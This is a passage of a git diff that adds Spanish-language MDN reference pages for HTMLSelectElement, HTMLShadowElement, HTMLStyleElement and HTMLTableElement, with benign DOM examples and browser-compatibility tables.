+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>El método <code><strong>HTMLSelectElement.checkValidity()</strong></code> comprueba si el elemento tiene restricciones y si las cumple. Si el elemento no cumple sus restricciones, el navegador lanza un evento cancelable {{event("invalid")}} al momento y luego devuelve <code>false</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval  language-html"><code class="language-html">var <em>result</em> = <em>selectElt</em>.checkValidity();</code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde el último snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición inicial, snapshot de {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement.checkValidity")}}</p>
+
+<h2 id="Ver también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/HTML/HTML5/Validacion_de_restricciones">Validación de restricciones.</a></li>
+</ul>
diff --git a/files/es/web/api/htmlselectelement/index.html b/files/es/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..058aabd1e2
--- /dev/null
+++ b/files/es/web/api/htmlselectelement/index.html
@@ -0,0 +1,152 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>An <code>unsigned long </code>The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>A <code>long</code> reflecting the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>A <code>long</code> reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is true, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} represeting the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("ValidityState")}} reflecting the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form control (the first selected option). Returns the value attribute of the option element or if it is missing, the text attribute.</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}</dt>
+ <dd>A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this select element.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+    &lt;option&gt;First&lt;/option&gt;
+    &lt;option selected&gt;Second&lt;/option&gt;
+    &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{event("change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/Events/change#Example_Change_event_on_a_select">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/es/web/api/htmlselectelement/setcustomvalidity/index.html b/files/es/web/api/htmlselectelement/setcustomvalidity/index.html
new file mode 100644
index 0000000000..b5477a5ed0
--- /dev/null
+++ b/files/es/web/api/htmlselectelement/setcustomvalidity/index.html
@@ -0,0 +1,52 @@
+---
+title: HTMLSelectElement.setCustomValidity()
+slug: Web/API/HTMLSelectElement/setCustomValidity
+translation_of: Web/API/HTMLSelectElement/setCustomValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>El metodo <code><strong>HTMLSelectElement.setCustomValidity()</strong></code> define el mensaje de validación personalizado para el elemento seleccionado con el mensaje especifico. Usa una string vacia para indicar que ese elemento no tiene error de validación customizado.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>selectElt</em>.setCustomValidity(<em>string</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>string</code> is the {{domxref("DOMString")}} containing the error message.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition, snapshot of {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement.setCustomValidity")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Form validation.</a></li>
+</ul>
diff --git a/files/es/web/api/htmlshadowelement/getdistributednodes/index.html b/files/es/web/api/htmlshadowelement/getdistributednodes/index.html
new file mode 100644
index 0000000000..782506dff6
--- /dev/null
+++ b/files/es/web/api/htmlshadowelement/getdistributednodes/index.html
@@ -0,0 +1,93 @@
+---
+title: HTMLShadowElement.getDistributedNodes()
+slug: Web/API/HTMLShadowElement/getDistributedNodes
+tags:
+  - Necesita traducción
+translation_of: Web/API/HTMLShadowElement/getDistributedNodes
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p>The <code><strong>HTMLShadowElement.getDistributedNodes()</strong></code> method returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;shadow&gt;</code> element.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>nodeList</var> = <var>object</var>.getDistributedNodes()
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// Get the distributed nodes
+var nodes = myShadowObject.getDistributedNodes();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-shadow-element', 'shadow')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTMLShadowElement">HTMLShadowElement</a></li>
+</ul>
diff --git a/files/es/web/api/htmlshadowelement/index.html b/files/es/web/api/htmlshadowelement/index.html
new file mode 100644
index 0000000000..4a83b2f733
--- /dev/null
+++ b/files/es/web/api/htmlshadowelement/index.html
@@ -0,0 +1,117 @@
+---
+title: HTMLShadowElement
+slug: Web/API/HTMLShadowElement
+tags:
+  - Necesita traducción
+translation_of: Web/API/HTMLShadowElement
+---
+<div>{{APIRef("Web Components")}}{{obsolete_header}}</div>
+
+<p>The <code><strong>HTMLShadowElement</strong></code> interface represents a {{HTMLElement("shadow")}} HTML Element, which is used in <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLShadowElement.getDistributedNodes()")}}</dt>
+ <dd>Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;shadow&gt;</code> element. </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-shadow-element', 'shadow')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>{{CompatGeckoDesktop("28")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLShadowElement.getDistributedNodes", "getDistributedNodes()")}}</td>
+   <td>35</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLShadowElement.getDistributedNodes", "getDistributedNodes()")}}</td>
+   <td>37</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] If Shadow DOM is not enabled in Firefox, &lt;shadow&gt; elements will behave like {{domxref("HTMLUnknownElement")}}. Shadow DOM was first implemented in Firefox 28 and is behind a preference, <code>dom.webcomponents.enabled</code>, which is disabled by default.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("shadow")}} HTML element, implementing this interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
diff --git a/files/es/web/api/htmlstyleelement/index.html b/files/es/web/api/htmlstyleelement/index.html
new file mode 100644
index 0000000000..33ffecb551
--- /dev/null
+++ b/files/es/web/api/htmlstyleelement/index.html
@@ -0,0 +1,125 @@
+---
+title: HTMLStyleElement
+slug: Web/API/HTMLStyleElement
+tags:
+  - DOM
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+  - para_revisar
+translation_of: Web/API/HTMLStyleElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Vea las siguientes páginas para información sobre alguno de los objetos utilizados para manipular propiedades CSS especificadas utilizando el DOM:</p>
+
+<ul>
+ <li><a href="/Es/DOM/Element.style" title="es/DOM/element.style">Objeto DOM element.style</a></li>
+ <li><a href="/Es/DOM/Stylesheet" title="es/DOM/stylesheet">Objeto DOM stylesheet</a></li>
+ <li><a href="/Es/DOM/CssRule" title="es/DOM/cssRule">Objeto DOM cssRule</a></li>
+ <li><a href="/Es/DOM/CSS" title="es/DOM/CSS">Lista de Propiedades DOM CSS</a></li>
+</ul>
+
+<h3 id="Material_que_se_mover.C3.A1_a_otras_p.C3.A1ginas" name="Material_que_se_mover.C3.A1_a_otras_p.C3.A1ginas">Material que se moverá a otras páginas</h3>
+
+<p>El objeto básico <code>style</code>, presenta los estilos definidos para el DOM en su especificación de nivel 2. Los estilos se definen mediante <code>las interfaces StyleSheet </code>y <code>CSSStyleSheet</code>. Estas interfaces contienen  miembros tales como <code>insertRule</code>, <code>selectorText</code>, y <code>parentStyleSheet</code> que permiten acceder y manipular las reglas de estilo individuales de que se compone una hoja de estilos CSS.</p>
+
+<p>Para obtener los objetos <code>style </code>de un <code>document</code>, podemos usar la propiedad <code>document.styleSheets</code> y llegar a los distintos objetos por su índice (por ejemplo: <code>document.styleSheets{{ mediawiki.external(0) }}</code> es la primer stylesheet definida en el documento, etc.). Aunque hay varias formas y sintaxis para expresar una stylsheet para un documento, Netscape implementa exclusivamente, CSS, de manera que el objeto <code>style </code>obtenido por este método, es a la vez StyleSheet y CSSStyleSheet.</p>
+
+<pre class="eval">var ss = document.styleSheets[1];
+ss.cssRules[0].style.backgroundColor="blue";
+</pre>
+
+<p>La lista de propiedades disponibles en el DOM se encuentra en la página: <a href="/Es/DOM/CSS" title="es/DOM/CSS">DOM CSS Properties List</a>.</p>
+
+<p>El elemento propiedad <a href="/es/DOM/style" title="es/DOM/style">style</a> puede ser usado también para leer o establecer el estilo de un elemento. Sin embargo, esta propiedad solo devuelve atributos de estilo que han sido establecidos in-line (por ejemplo: &lt;td style="background-color: lightblue"&gt; devuelve la cadena "background-color: lightblue" o directamente para ese elemento usando element.style.propertyName, aún si hay otros estilos definidos para ese elemento en un stylesheet).</p>
+
+<p>De igual manera, cuando establecemos esa propiedad en un elemento, sobreescribimos y borramos cualquier estilo que hubiera sido fijado en alguna otra parte para la propiedad particular de ese elemento que estamos estableciendo. Por ejemplo, estableciendo la propiedad border sobreescribimos cualquier asignación que se establezca en la sección principal o en una hoja de estilo externa, sobre la propiedad border del elemento. Sin embargo, esto no afectará ninguna otra declaración de propiedad que se haga para el estilo del elemento, tales como padding o margin o font-size, por ejemplo.</p>
+
+<p>Para cambiar el estilo de un elemento en particular, podemos adaptar el siguiente ejemplo para el elemento al que quieres cambiar su estilo/s.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;ejemplo simple de estilo&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function alterStyle(elem) {
+  elem.style.background = 'green';
+}
+
+function resetStyle(elemId) {
+  elem = document.getElementById(elemId);
+  elem.style.background = 'white';
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+#p1 {
+ border: solid blue 2px;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;!-- pasar la referencia al objeto del elemento, como parámetro 'this'. --&gt;
+&lt;p id="p1" onclick="alterStyle(this)";&gt;
+ Haz clic aquí para cambiar el color de fondo. &lt;/p&gt;
+
+&lt;!-- pasar el identificador 'pl' de otro elemento a modificar. --&gt;
+&lt;button onclick="resetStyle('p1');"&gt;Volver al color de fondo original&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>El método <code>getComputedStyle()</code> en el objeto <code>document.defaultView</code> devuelve todos los estilos que han sido asignados al elemento. Para una explicación del uso de este método, consulta el capítulo de ejemplos en: <a href="/en/Gecko_DOM_Reference/Examples#Example_6:_getComputedStyle" title="en/Gecko_DOM_Reference/Examples#Example_6:_getComputedStyle">Example 6: getComputedStyle</a> (en).</p>
+
+<h4 id="El_objeto_estilo_.28style.29_de_DOM" name="El_objeto_estilo_.28style.29_de_DOM">El objeto estilo (<code>style</code>) de DOM</h4>
+
+<p>El objeto <code>style</code> representa una sentencia de estilo individual. Al contrario de las reglas individuales disponibles en la colección: <code><a href="/Es/DOM/Document.styleSheets" title="es/DOM/document.styleSheets">document.styleSheets</a></code>, se accede al objeto style a partir del <code>document</code> o desde el elemento para el cual se aplica el estilo. Representa pues, el estilo <em>in-line</em> de ese elemento.</p>
+
+<p>Más importante que los dos procedimientos que señalamos aquí, es el uso del objeto <code>style </code>para establecer las propiedades de un elemento:</p>
+
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;title&gt;Ejemplo de la Propiedad style&lt;/title&gt;
+  &lt;link rel="StyleSheet" href="example.css" type="text/css"&gt;
+  &lt;script type="text/javascript"&gt;
+    function stilo()
+    {
+      document.getElementById("d").style.color = "orange";
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+ &lt;body&gt;
+  &lt;div id="d" class="thunder"&gt;Trueno&lt;/div&gt;
+  &lt;button onclick="stilo()"&gt;ss&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Los atributos <strong>media </strong>y <strong>type </strong>de style pueden o no estar presentes. Ten en cuenta que también puedes cambiar el estilo de un elemento haciendo una referencia a él y luego usando el método <code><a href="/Es/DOM/Element.setAttribute" title="es/DOM/element.setAttribute">setAttribute</a></code> para especificar la propiedad CSS y su valor.</p>
+
+<pre>var el = document.getElementById("some-element");
+el.setAttribute("style", "background-color:darkblue;");
+</pre>
+
+<p>Ten presente, si embargo, que el método <code>setAttribute </code>eliminará cualquier otra propiedad que haya podido ser definida en el estilo del objeto. Si el elemento some-element arriba, tenia un atributo de estilo in-line como <code>style="font-size: 18px"</code>, ese valor habrá sido eliminado por el uso de <code>setAttribute</code>.</p>
+
+<h5 id="Propiedades" name="Propiedades">Propiedades</h5>
+
+<dl>
+ <dt><a href="/Es/DOM/Style.media" title="es/DOM/style.media">style.media</a> </dt>
+ <dd>Especifica el destino intencionado de la información de estilo</dd>
+ <dt><a href="/Es/DOM/Style.type" title="es/DOM/style.type">style.type</a> </dt>
+ <dd>Devuelve el tipo de estilo que esta siendo aplicado por esta declaración.</dd>
+</dl>
+
+<p>{{ languages( { "en": "en/DOM/style", "fr": "fr/DOM/style", "pl": "pl/DOM/style" } ) }}</p>
diff --git a/files/es/web/api/htmltableelement/align/index.html b/files/es/web/api/htmltableelement/align/index.html
new file mode 100644
index 0000000000..de10e6cbc6
--- /dev/null
+++ b/files/es/web/api/htmltableelement/align/index.html
@@ -0,0 +1,40 @@
+---
+title: HTMLTableElement.align
+slug: Web/API/HTMLTableElement/align
+translation_of: Web/API/HTMLTableElement/align
+---
+<div>
+<div>{{APIRef("HTML DOM")}}{{deprecated_header()}}</div>
+</div>
+
+<p>La propiedad <strong><code>HTMLTableElement.align</code></strong> representa la alineación de la tabla.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>HTMLTableElement</em>.align =<em>alignment</em>;
+var<em>alignment</em> =<em>HTMLTableElement</em>.align;</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>alignment</code> {{deprecatedGeneric('inline','HTML4')}}</dt>
+ <dd><code>alignment</code> es una cadena con uno de los siguientes valores:
+ <ul>
+  <li>left</li>
+  <li>center</li>
+  <li>right</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">// Establecer la alineación de una tabla
+var t = document.getElementById('TableA');
+t.align = 'center';</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li>Especificación W3C DOM 2 HTML <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-23180977"><em>HTMLTableElement</em> .align</a>.</li>
+</ul>
diff --git a/files/es/web/api/htmltableelement/index.html b/files/es/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..56ef6ad502
--- /dev/null
+++ b/files/es/web/api/htmltableelement/index.html
@@ -0,0 +1,72 @@
+---
+title: table
+slug: Web/API/HTMLTableElement
+tags:
+  - DOM
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+  - para_revisar
+translation_of: Web/API/HTMLTableElement
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Interfaz_del_elemento_tabla_HTML" name="Interfaz_del_elemento_tabla_HTML">Interfaz del elemento tabla HTML</h2>
+
